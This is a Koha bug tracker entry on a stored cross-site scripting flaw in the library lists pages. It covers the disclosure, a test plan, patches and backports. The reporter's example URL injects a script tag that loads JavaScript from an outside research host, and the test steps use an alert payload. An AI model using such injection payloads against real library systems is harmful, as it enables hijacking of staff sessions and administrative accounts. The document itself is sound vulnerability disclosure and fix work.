Bug 14416

Summary: Stored XSS flaw affects OPAC and Staff interface
Product: Koha Reporter: Raschin Tavakoli <RGhanad-Tavakoli>
Component: ListsAssignee: Galen Charlton <gmcharlt>
Status: CLOSED FIXED QA Contact: Testopia <testopia>
Severity: major    
Priority: P5 - low CC: chris, fridolin.somers, jonathan.druart, katrin.fischer, liz, m.de.rooy, martin.renvoize, mtj, RGhanad-Tavakoli, robin, tomascohen
Version: unspecified   
Hardware: PC   
OS: Linux   
Change sponsored?: --- Patch complexity: Small patch
Documentation contact: Documentation submission:
Text to go in the release notes:
Version(s) released in:
Bug Depends on:    
Bug Blocks: 13618, 14568    
Attachments: Screenshots with Exploit Scenario
Bug 14416 : Stored XSS vulnerability
Bug 14416 Stored XSS vulnerability
Bug 14416 : Stored XSS vulnerability
Bug 14416 Stored XSS vulnerability
Bug 14416: (follow-up) opac addbybilionumber
Bug 14416: Stored XSS vulnerability - add biblio to shelf (intranet)
[PASSED QA] Bug 14416 : Stored XSS vulnerability
[PASSED QA] Bug 14416 Stored XSS vulnerability
[PASSED QA] Bug 14416: (follow-up) opac addbybilionumber
[PASSED QA] Bug 14416: Stored XSS vulnerability - add biblio to shelf (intranet)

Description Raschin Tavakoli 2015-06-18 18:18:40 UTC
We found a Stored XSS flaw in the Koha Library which could allow remote attackers to execute arbritrary code via XSRF.

The affected page in the OPAC client is:
http://testbox:9001/cgi-bin/koha/opac-shelves.pl
the vulnerable parameter: addshelf

The affected page in the STAFF client is:
http://testbox:9002/cgi-bin/koha/virtualshelves/shelves.pl


Example Scenario:

Student Alice receives a phishing mail and clicks the following:

/cgi-bin/koha/opac-shelves.pl?shelves=1&addshelf=Malicious+Input+%3Cscript+src%3D%27http%3A%2F%2Fcst.sba-research.org%2Fx.js%27%2F%3E&owner=7854&sortfield=title&category=2&allow_add=0&allow_delete_own=1&allow_delete_other=0

Bob, library admin, recognizes the new malicious list entry. He logs into the staff area and browses the public lists in order to delete the entry. Once he opens 

http://testbox:9002/cgi-bin/koha/virtualshelves/shelves.pl

the malcious code get's executed. It then could either target bob's browser or even perform an XSRF attack by exploiting other server-side vulnerabilities.

Side note:  In order to make the attack work, alice only needs to have access to the OPAC interface and to have permissions to create public lists.
---

Vulnerability Disclosure by Combinatorial Security Testing Group of SBA Research.
Contact: cst@sba-research.org
Comment 1 Raschin Tavakoli 2015-06-18 18:40:30 UTC
Created attachment 40333 [details]
Screenshots with Exploit Scenario

The screenshots show the input in the OPAC interface (victim1 - alice), the target victim in the Staff client (bob), and the permissions page of alice and bob. 
As we can see, alice, has very restricted permissions various bob has superlibrarian permissions set.
Comment 2 Chris Cormack 2015-06-18 18:55:01 UTC
*** Bug 14415 has been marked as a duplicate of this bug. ***
Comment 3 Chris Cormack 2015-06-18 23:03:55 UTC Comment hidden (obsolete)
Comment 4 Chris Cormack 2015-06-18 23:28:02 UTC Comment hidden (obsolete)
Comment 5 Jonathan Druart 2015-06-19 09:22:56 UTC Comment hidden (obsolete)
Comment 6 Jonathan Druart 2015-06-19 09:23:03 UTC Comment hidden (obsolete)
Comment 7 Jonathan Druart 2015-06-19 09:23:06 UTC Comment hidden (obsolete)
Comment 8 Jonathan Druart 2015-06-19 09:23:10 UTC Comment hidden (obsolete)
Comment 9 Jonathan Druart 2015-06-19 09:23:57 UTC
Found 2 more at the OPAC and I submitted a patch for the intranet side (which was affected too).
Comment 10 Jonathan Druart 2015-06-19 09:25:38 UTC
if ( $var =~ m|<script>| ) {
    $template->param( error => "CONVOKE_STUDENT" );
}

:)
Comment 11 Katrin Fischer 2015-06-19 13:27:26 UTC
Created attachment 40370 [details] [review]
[PASSED QA] Bug 14416 : Stored XSS vulnerability

The affected page in the OPAC client is:
http://testbox:9001/cgi-bin/koha/opac-shelves.pl
the vulnerable parameter: addshelf

The affected page in the STAFF client is:
http://testbox:9002/cgi-bin/koha/virtualshelves/shelves.pl

To test:
1/ Create a shelf in the opac that contains some malicious js
 eg Bad stuff <script>alert('oh noes');</script> as the name
2/ Go to /cgi-bin/koha/virtualshelves/shelves.pl in the staff client
  Note the js is executed
3/ View
http://192.168.2.18:8080/cgi-bin/koha/svc/virtualshelves/search?template_path=virtualshelves/tables/shelves_results.tt&type=1
  Notice the html is not escaped
4/ Apply patch
5/ View
http://192.168.2.18:8080/cgi-bin/koha/svc/virtualshelves/search?template_path=virtualshelves/tables/shelves_results.tt&type=1
  Notice the html is now escaped
6/ View /cgi-bin/koha/virtualshelves/shelves.pl - no more exploit

Signed-off-by: Jonathan Druart <jonathan.druart@koha-community.org>
Signed-off-by: Katrin Fischer <katrin.fischer@bsz-bw.de>
Comment 12 Katrin Fischer 2015-06-19 13:28:45 UTC
Created attachment 40371 [details] [review]
[PASSED QA] Bug 14416 Stored XSS vulnerability

opac-addbybiblionumber.pl is also vulnerable because it doesn't escape
list names.

To test
1/ Create a malicious list name
2/ Try to add a biblio to the lists
3/ Notice js is excuted
4/ Apply patch
5/ Test again

Signed-off-by: Jonathan Druart <jonathan.druart@koha-community.org>
Signed-off-by: Katrin Fischer <katrin.fischer@bsz-bw.de>
Comment 13 Katrin Fischer 2015-06-19 13:29:11 UTC
Created attachment 40372 [details] [review]
[PASSED QA] Bug 14416: (follow-up) opac addbybilionumber

Signed-off-by: Jonathan Druart <jonathan.druart@koha-community.org>
Signed-off-by: Katrin Fischer <katrin.fischer@bsz-bw.de>
Comment 14 Katrin Fischer 2015-06-19 13:29:35 UTC
Created attachment 40373 [details] [review]
[PASSED QA] Bug 14416: Stored XSS vulnerability - add biblio to shelf (intranet)

Signed-off-by: Jonathan Druart <jonathan.druart@koha-community.org>
Signed-off-by: Katrin Fischer <katrin.fischer@bsz-bw.de>
Comment 15 Tomás Cohen Arazi 2015-06-22 14:39:06 UTC
Patches pushed to master.
Good job Chris!
Comment 16 Chris Cormack 2015-06-22 21:42:49 UTC
Pushed to 3.20.x will be in 3.20.1
Comment 17 Fridolin Somers 2015-06-23 09:27:15 UTC
Pushed to 3.14.x, will be in 3.14.16
Comment 18 Mason James 2015-06-23 14:03:24 UTC
Pushed to 3.16.x, will be in 3.16.12